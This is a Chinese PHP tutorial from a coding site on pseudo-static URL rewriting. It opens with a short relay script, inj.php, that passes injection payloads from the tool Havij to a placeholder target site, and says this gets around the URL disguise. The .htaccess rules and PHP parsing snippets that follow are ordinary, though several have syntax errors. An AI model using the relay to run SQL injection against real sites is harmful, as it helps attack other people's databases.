脚本之家 服务器常用软件
快捷导航
您的位置：首页 → 网络编程 → PHP编程 → php技巧 → PHP 伪静态技术

PHP 伪静态技术原理以及突破原理实现介绍

 更新时间：2013年07月12日 17:43:23   作者：  
伪静态技术比较好突破，需要自己构造中转注入页面；伪静态技术原理都很简单，就是把原来的 index.php?id=1 这种形式的URL给替换成其它形式
先说实现方法：
inj.php:
复制代码 代码如下:

<?php
set_time_limit(10);
$id=$_GET["id"];
$id=str_replace(" ","%20",$id);
$id=str_replace("=","%3D",$id);
$url="http://www.xxx.com/index.php/library/more/id/$id.html";
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,"$url");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//启用时将curl_init()获取的信息以文件流的形式返回，而不是直接输出
curl_setopt($ch,CURLOPT_HEADER,0);//启用时会将头文件的信息作为数据流输出
$output=curl_exec($ch);
curl_close($ch);
print_r($output);
?>

用wamp搭建一个服务器，把上面inj.php放到wamp/www/中，然后在Havij中跑 http://127.0.0.1/inj.php?id=1
=============================
PHP伪静态实现方法一（利用Apache 服务器的功能）
1、检查Apache是否支持mod_rewrite
2、让Apache 支持.htaccess
3、建立.htaccess文件
4、规则：
RewriteEngine on
RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
([a-zA-Z]{1,})-([0-9]{1,}) 是 URL长啥样
$1 是([a-zA-Z]{1,}) 所匹配的
$2 是[0-9]{1,} 所匹配的
比如说：www.xx.com/page-18.html
真实的URL如下：
action = page
id = 18
============================
PHP伪静态实现方法二（编码实现）
$Php2Html_FileUrl = $_SERVER["REQUEST_URI"]
echo $Php2Html_FileUrl
例子：// localhost/php100/test.php?id|1@action|2
复制代码 代码如下:

$Php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($Php2Html_FileUrl,"/"),"?")) ))
/*
内层的strrchr出来：/test.php?id|1@action|2
外层的strrchr出来：id|1@action|2
内层的str_replace出来：把 / 号去掉，本例子 没有
外层的str_replace出来：把 ？号去掉，本例子 没有
*/
$Php2Html_UrlQueryStrList = explode("@",$Php2Html_UrlString);
/*把str变成以@为界限划分的数组：id|1 和 action|2*/
foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr)
{
$Php2Html_TmpArray = explode("|",$Php2Html_UrlQueryStr);
/* id => 1 和 action => 2*/
$_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1];
}

============================
PHP伪静态实现方法三（编码实现）
例子: localhost/php100/test.php/1/2
复制代码 代码如下:

$filename = basename($_SERVER["SCRIPT_NAME"]);
echo $_SERVER["SCRIPT_NAME"];
echo $filename;
if(strtolower($filename) == 'test.php'){
if(!empty($_GET[id])){
$id=intval($_GET[id]);
echo $id;
$action = intval($_GET[action]);
echo $action;
}else{
$nav=$_SERVER["REQUEST_URI"];
$script=$_SERVER["SRCIPT_NAME"];
//这句话应该是把URL前面那段给搞掉。。剩下 "1/2"之类的。。
$nav=ereg_replace("$script","",urldecode($nav));
echo $nav;
$vars = explode("/",$nav);
print_r($vars);
$id=intval($vars[1]);
$action=intval($vars[2]);
}
echo $id.'&'.$action;
}

============================
PHP伪静态实现方法四（编码实现）
复制代码 代码如下:

function mod_rewrite(){
global $_GET;
$nav = $_SERVER["REQUEST_URI"];
$script_name = $_SERVER["SCRIPT_NAME"]
$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1);
$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html
$vars=explode("/",$nav);
print_r($vars);
for($i=0;$i<count($vars);$i+=2)
{
$_GET[$vars[$i]] = $vars[$i+1];
}
return $_GET;
}

============================
PHP伪静态实现方法五（编码实现）
例子：/1,100,8630.html
复制代码 代码如下:

if(preg_match(“/\/(\d+),(\d+),(\d+)\.html/si”,$path_info,$arr_path)){
$gid =intval($arr_path[1]); //取得值1
$sid =intval($arr_path[2]); //取得值100
$softid =intval($arr_path[3]); //取得值8630
}
else
echo "Path:Error!";

总结下：
（1）伪静态技术比较好突破，需要自己构造中转注入页面。
（2）伪静态技术原理都很简单，就是把原来的 index.php?id=1 这种形式的URL给替换成其它形式。
您可能感兴趣的文章:

相关文章

  • php实现的双向队列类实例

    php实现的双向队列类实例

    这篇文章主要介绍了php实现的双向队列类,是数据结构中非常重要的一个数据结构类型,需要的朋友可以参考下
    2014-09-09
  • 常见的PHP五种设计模式小结

    常见的PHP五种设计模式小结

    设计模式不仅代表着更快开发健壮软件的有用方法,而且还提供了以友好的术语封装大型理念的方法,本文主要介绍了常见的PHP五种设计模式小结,感兴趣的可以了解一下
    2011-03-03
  • php cookie的操作实现代码(登录)

    php cookie的操作实现代码(登录)

    cookie 常用于识别用户。cookie 是服务器留在用户计算机中的小文件。每当相同的计算机通过浏览器请求页面时，它同时会发送 cookie。通过 PHP，您能够创建并取回 cookie 的值。
    2010-12-12
  • PHP实现数组递归转义的方法

    PHP实现数组递归转义的方法

    这篇文章主要介绍了PHP实现数组递归转义的方法,包含了数组的递归调用与字符串的转义方法,需要的朋友可以参考下
    2014-08-08
  • 使用ETags减少Web应用带宽和负载

    使用ETags减少Web应用带宽和负载

    2008-01-01
  • PHP include_path设置技巧分享

    PHP include_path设置技巧分享

    当时候函数include(),require(),fopen_with_path()函数来寻找文件时候.在不设置include_path的情况下,这些函数打开文件时候默认的是以web根目录去寻找.当设置include_path以后,这些php函数就会先在指定的include_path目录下面去搜索寻找
    2011-07-07
  • PHP使用数组实现矩阵数学运算的方法示例

    PHP使用数组实现矩阵数学运算的方法示例

    这篇文章主要介绍了PHP使用数组实现矩阵数学运算的方法,结合具体实例形式分析了php基于数组实现矩阵表示与运算的相关操作技巧,需要的朋友可以参考下
    2017-05-05
  • 专为新手写的结合smarty的类

    专为新手写的结合smarty的类

    专为新手写的结合smarty的类...
    2006-12-12
  • php-accelerator网站加速PHP缓冲的方法

    php-accelerator网站加速PHP缓冲的方法

    我们知道 Zend 有免费的优化引擎针对 PHP 而作，但是 FreeLAMP 这次采用的是一个叫做 PHP Accelerator 的缓冲产品。
    2008-07-07
  • php防止CC攻击代码 php防止网页频繁刷新

    php防止CC攻击代码 php防止网页频繁刷新

    这篇文章主要介绍了php防止CC攻击代码和php防止网页频繁刷新，网页快速恶意刷新,cc攻击利用代理服务器生成指向目标站点的合法请求，模拟多用户不停的对受害网站进行访问，感兴趣的小伙伴们可以研究一下
    2015-12-12

最新评论